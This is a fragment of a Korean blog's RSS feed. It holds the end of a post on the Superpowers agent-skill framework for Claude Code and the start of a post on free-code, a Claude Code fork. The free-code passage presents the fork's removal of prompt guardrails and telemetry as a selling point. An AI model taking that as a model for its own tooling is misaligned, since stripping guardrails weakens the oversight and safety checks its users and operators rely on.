&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;가짜 설명이 포함된 PR (&quot;slop&quot; 분류)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;관련 없는 변경사항을 묶은 PR&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;94%라는 수치는 공식 문서(CLAUDE.md)에 직접 언급되어 있으나, 전체 PR 수 대비 비율인지 특정 기간 기준인지는 공식 문서에서 추가 확인이 필요하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;GitHub Copilot CLI 지원 버전&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;v5.0.7의 GitHub Copilot CLI 지원은 GitHub Copilot CLI v1.0.11 이상을 요구한다. (&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/obra/superpowers/releases/tag/v5.0.7&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;v5.0.7 릴리스 노트&lt;/a&gt;) 낮은 버전의 Copilot CLI를 사용하는 경우 sessionStart hook이 정상 동작하지 않을 수 있다. Copilot CLI 버전을 먼저 확인하는 것이 권장된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;memory 기능 현황&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;GeekNews 소개 당시(2025-10-13 기준) &lt;code&gt;remembering-conversations&lt;/code&gt; 스킬이 언급되었으나, 2026-04-14 기준 공식 저장소(&lt;code&gt;skills/&lt;/code&gt; 디렉토리)에는 해당 스킬이 존재하지 않는다. 현재 v5.0.7 기준 14개 스킬 목록에는 포함되어 있지 않으며, 공식 저장소의 최신 상태를 확인하는 것이 권장된다.&lt;/p&gt;
&lt;hr style=&quot;border: none; border-top: 1px solid #e0e0e0; margin: 30px 0;&quot; data-ke-style=&quot;style1&quot; /&gt;&lt;!-- 섹션 9 --&gt;
&lt;h2 id=&quot;section-9&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;9. 트러블슈팅 Q&amp;amp;A&lt;/b&gt;&lt;/h2&gt;
&lt;div style=&quot;background: #f0f4f8; border: 1px solid #d0d9e3; border-radius: 12px; padding: 25px; margin: 15px 0;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Q: 스킬이 트리거되지 않는다&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;가장 먼저 새 세션을 시작했는지 확인한다. 기존 세션에는 부트스트랩이 주입되지 않아 스킬이 활성화되지 않는다. 새 세션에서 &quot;help me plan this feature&quot;처럼 명확한 트리거 프롬프트를 사용한다.&lt;/p&gt;
&lt;hr style=&quot;border: none; border-top: 1px solid #d0d9e3; margin: 15px 0;&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Q: 업데이트는 어떻게 하는가&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Claude Code에서는 한 줄로 처리된다.&lt;/p&gt;
&lt;pre class=&quot;stata&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;/plugin update superpowers&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;스킬 파일도 플러그인 업데이트 시 자동으로 함께 업데이트된다.&lt;/p&gt;
&lt;hr style=&quot;border: none; border-top: 1px solid #d0d9e3; margin: 15px 0;&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Q: 새 스킬을 직접 만들고 싶다&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/obra/superpowers/blob/main/skills/writing-skills/SKILL.md&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;writing-skills/SKILL.md&lt;/a&gt;를 따른다. 핵심은 스킬을 먼저 작성하지 않고, 에이전트가 규칙을 위반하는 베이스라인 시나리오를 먼저 실행하는 것이다. 에이전트가 사용하는 합리화 패턴을 기록하고, 그것을 차단하도록 SKILL.md를 작성한다.&lt;/p&gt;
&lt;hr style=&quot;border: none; border-top: 1px solid #d0d9e3; margin: 15px 0;&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Q: 저장소에 기여하고 싶다&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;포크 &amp;rarr; 브랜치 생성 &amp;rarr; writing-skills 스킬 따르기 &amp;rarr; PR 제출 순서로 진행한다. PR 제출 전에 반드시 CLAUDE.md의 기여 가이드라인을 먼저 읽어야 한다. 거절률 94%의 가장 큰 원인은 가이드라인을 읽지 않은 에이전트가 제출한 PR이다.&lt;/p&gt;
&lt;hr style=&quot;border: none; border-top: 1px solid #d0d9e3; margin: 15px 0;&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Q: 커뮤니티는 어디에 있는가&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://discord.gg/35wsABTejz&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Discord&lt;/a&gt;, GitHub Issues, &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://primeradiant.com&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Prime Radiant&lt;/a&gt;를 통해 참여할 수 있다. 릴리스 공지는 primeradiant.com/superpowers/에서 확인 가능하다.&lt;/p&gt;
&lt;/div&gt;
&lt;hr style=&quot;border: none; border-top: 1px solid #e0e0e0; margin: 30px 0;&quot; data-ke-style=&quot;style1&quot; /&gt;&lt;!-- 섹션 10 --&gt;
&lt;h2 id=&quot;section-10&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;10. 결론 &amp;mdash; 언제 쓰고, 언제 쓰지 않는가&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;도입 결정 매트릭스&lt;/h3&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;상황&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;권장 여부&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;이유&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Claude Code / Codex를 주력으로 사용&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;적극 권장&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;서브에이전트 지원 + 7단계 워크플로우 최대 활용&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;팀 단위로 에이전트 워크플로우 표준화 필요&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;적극 권장&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;SKILL.md가 팀 공통 방법론 역할&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;반복적인 기능 추가가 많은 프로젝트&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;권장&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;brainstorming HARD-GATE로 요구사항 누락 방지&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Cursor / Gemini CLI 전용 환경&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;조건부 권장&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;서브에이전트 미지원 &amp;rarr; executing-plans 대체, 효과 제한&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;브라우저(Claude.ai) 전용 환경&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;미권장&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;플러그인 설치 현재 미지원&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;빠른 프로토타이핑, 실험적 코드&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;조건부 권장&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;HARD-GATE가 속도를 늦출 수 있음 &amp;mdash; 팀에 예외 정책 필요&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;br /&gt;&lt;!-- 푸터 --&gt;&lt;hr style=&quot;border: none; border-top: 1px solid #e0e0e0; margin: 30px 0;&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;출처 목록&lt;/b&gt;&lt;span style=&quot;font-family: Pretendard, -apple-system, BlinkMacSystemFont, system-ui, sans-serif; letter-spacing: 0px;&quot;&gt;:&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;margin: 10px 0; padding-left: 25px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/obra/superpowers&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Superpowers GitHub 저장소&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/obra/superpowers/blob/main/README.md&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;공식 README&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/obra/superpowers/blob/main/CLAUDE.md&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;CLAUDE.md&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/obra/superpowers/releases/tag/v5.0.7&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;v5.0.7 릴리스 노트&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://blog.fsck.com/2025/10/09/superpowers/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Jesse Vincent 저자 블로그&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://news.hada.io/topic?id=23620&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;GeekNews Superpowers 소개&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://gail.wharton.upenn.edu/research-and-insights/call-me-a-jerk-persuading-ai/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Wharton 블로그 &amp;mdash; Cialdini LLM 연구&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;</description>
      <category>AI/Skills</category>
      <category>7단계 워크플로우</category>
      <category>AI 에이전트</category>
      <category>ai 코딩 도구</category>
      <category>claude code</category>
      <category>shell 스크립트</category>
      <category>SKILL.md</category>
      <category>Superpowers</category>
      <category>TDD 자동화</category>
      <category>스킬 프레임워크</category>
      <category>코드리뷰 자동화</category>
      <author>갓대희</author>
      <guid isPermaLink="true">https://goddaehee.tistory.com/581</guid>
      <comments>https://goddaehee.tistory.com/581#entry581comment</comments>
      <pubDate>Wed, 22 Apr 2026 18:00:50 +0900</pubDate>
    </item>
    <item>
      <title>free-code 설치 및 사용 방법 : OpenAI Codex를 Claude Code 터미널 감각으로 붙이는 법</title>
      <link>https://goddaehee.tistory.com/580</link>
      <description>&lt;!-- 래퍼 1: 인트로 --&gt;
&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.7; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;안녕하세요! 갓대희 입니다.&lt;/p&gt;
&lt;/div&gt;
&lt;!-- 래퍼 2: 본문 --&gt;
&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.8; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Claude Code의 터미널 감각은 마음에 드는데, 모델/provider는 좀 더 자유롭게 바꿔 써보고 싶은 경우가 있다. 특히 Codex 계열 모델을 같은 CLI 습관으로 붙여 쓰고 싶은 사람에게는 이런 포크가 눈에 들어온다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2014&quot; data-origin-height=&quot;1126&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Yaf46/dJMcabw16ot/KNLpjKRPL9QToRayzT0eoK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Yaf46/dJMcabw16ot/KNLpjKRPL9QToRayzT0eoK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Yaf46/dJMcabw16ot/KNLpjKRPL9QToRayzT0eoK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FYaf46%2FdJMcabw16ot%2FKNLpjKRPL9QToRayzT0eoK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2014&quot; height=&quot;1126&quot; data-origin-width=&quot;2014&quot; data-origin-height=&quot;1126&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이번 글에서 다룰 &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/paoloanzn/free-code&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;free-code&lt;/a&gt;는 바로 그 지점을 건드린다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 프로젝트는 공개된 Claude Code 스냅샷을 바탕으로 만든 포크이며, OpenAI Codex &amp;middot; AWS Bedrock &amp;middot; Google Vertex AI 등 멀티 provider 확장과 experimental feature unlock을 전면에 내세운다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;지금 실제로 어떻게 설치하고, 어떻게 로그인하고, 어떻게 Codex 모델로 실행하는지&lt;/b&gt;, provider별 환경변수 설정과 OAuth 경로까지 정리해보려 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;free-code는 Claude Code의 터미널 하네스를 유지하면서 &lt;b&gt;provider와 실험 기능을 훨씬 더 거칠게 열어둔 포크&lt;/b&gt;다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;one-liner로 설치하고 나서 어떤 provider를 쓸지 고르는 게 이 도구의 실제 진입점이다.&lt;/p&gt;
&lt;!-- 목차 박스 --&gt;
&lt;div style=&quot;background-color: #f8fbff; padding: 20px 25px; border-radius: 12px; border: 2px solid #cce5ff; margin: 20px 0 30px 0;&quot;&gt;
&lt;p style=&quot;margin: 0 0 12px 0; font-weight: bold; color: #1a3a52;&quot; data-ke-size=&quot;size16&quot;&gt;목차&lt;/p&gt;
&lt;ol style=&quot;margin: 0; padding-left: 20px;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin-bottom: 4px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#section1&quot;&gt;free-code가 무엇인가&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 4px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#section2&quot;&gt;왜 이 도구를 보나&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 4px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#section3&quot;&gt;설치 방법 &amp;mdash; README one-liner&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 4px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#section4&quot;&gt;현재 설치 주의사항&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 4px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#section5&quot;&gt;수동 설치/빌드 방법&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 4px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#section6&quot;&gt;로그인/인증 방법&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 4px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#section7&quot;&gt;실제 사용법&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 4px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#section8&quot;&gt;소스코드 핵심 분석&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 4px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#section9&quot;&gt;장점과 단점&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 4px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#section10&quot;&gt;트러블슈팅 Q&amp;amp;A + 결론&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;!-- 요약 콜아웃 --&gt;
&lt;h2 id=&quot;section1&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;1. free-code가 무엇인가 &amp;mdash; Claude Code 포크를 왜 보는가&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://raw.githubusercontent.com/paoloanzn/free-code/main/README.md&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;free-code README&lt;/a&gt;는 이 도구를 &quot;Anthropic Claude Code CLI의 clean, buildable fork&quot;라고 소개한다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1986&quot; data-origin-height=&quot;1084&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/baj3Hp/dJMb99TwOZN/nSuwMLpkhhz6Tr61hp6oeK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/baj3Hp/dJMb99TwOZN/nSuwMLpkhhz6Tr61hp6oeK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/baj3Hp/dJMb99TwOZN/nSuwMLpkhhz6Tr61hp6oeK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbaj3Hp%2FdJMb99TwOZN%2FnSuwMLpkhhz6Tr61hp6oeK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1986&quot; height=&quot;1084&quot; data-origin-width=&quot;1986&quot; data-origin-height=&quot;1084&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;소개 문구도 꽤 공격적이다. telemetry 제거, prompt guardrails 제거, experimental feature unlock을 전면에 내세운다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Claude Code 스타일의 터미널 코딩 에이전트를 공식 배포판보다 느슨한 제약과 더 많은 실험 기능으로 돌려보는 포크다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공식 대체재가 아니라 &lt;b&gt;&quot;더 많이 열어둔 실험 환경&quot;&lt;/b&gt;이라는 표현이 더 정확하다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;항목&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;값&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;생성 시점&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;2026-03-31 11:11:49Z&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Stars&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;7,715 (2026-04-12 기준)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Forks&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;1,686&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Open Issues&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;12&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;스타 7천 개가 넘는다는 건 그냥 화제성이 아니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Claude Code 하네스는 그대로 쓰되 provider를 바꾸고 싶다는 수요가 실제로 있다는 얘기다.&lt;/p&gt;
&lt;h2 id=&quot;section2&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;2. 왜 이 도구를 보나 &amp;mdash; Codex 모델을 Claude Code 감각으로 붙일 수 있다&lt;/b&gt;&lt;/h2&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2010&quot; data-origin-height=&quot;1102&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/lxu72/dJMcagykVTs/lRJqKLNQj2gubUELQat2M1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/lxu72/dJMcagykVTs/lRJqKLNQj2gubUELQat2M1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/lxu72/dJMcagykVTs/lRJqKLNQj2gubUELQat2M1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Flxu72%2FdJMcagykVTs%2FlRJqKLNQj2gubUELQat2M1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2010&quot; height=&quot;1102&quot; data-origin-width=&quot;2010&quot; data-origin-height=&quot;1102&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://raw.githubusercontent.com/paoloanzn/free-code/main/README.md&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;README의 Model Providers 섹션&lt;/a&gt;은 Anthropic 기본값 외에 4개의 provider를 추가로 지원한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;OpenAI Codex만이 아니라 AWS Bedrock, Google Vertex AI, Anthropic Foundry까지 포함한다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;Provider&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;환경변수&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;주요 모델 / 인증 방식&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Anthropic (기본)&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&amp;mdash;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;claude-opus-4-6, claude-sonnet-4-6, claude-haiku-4-5 / API 키 또는 OAuth&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;OpenAI Codex&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;CLAUDE_CODE_USE_OPENAI=1&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;gpt-5.3-codex (권장), gpt-5.4, gpt-5.4-mini / OpenAI OAuth&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;AWS Bedrock&lt;/td&gt;
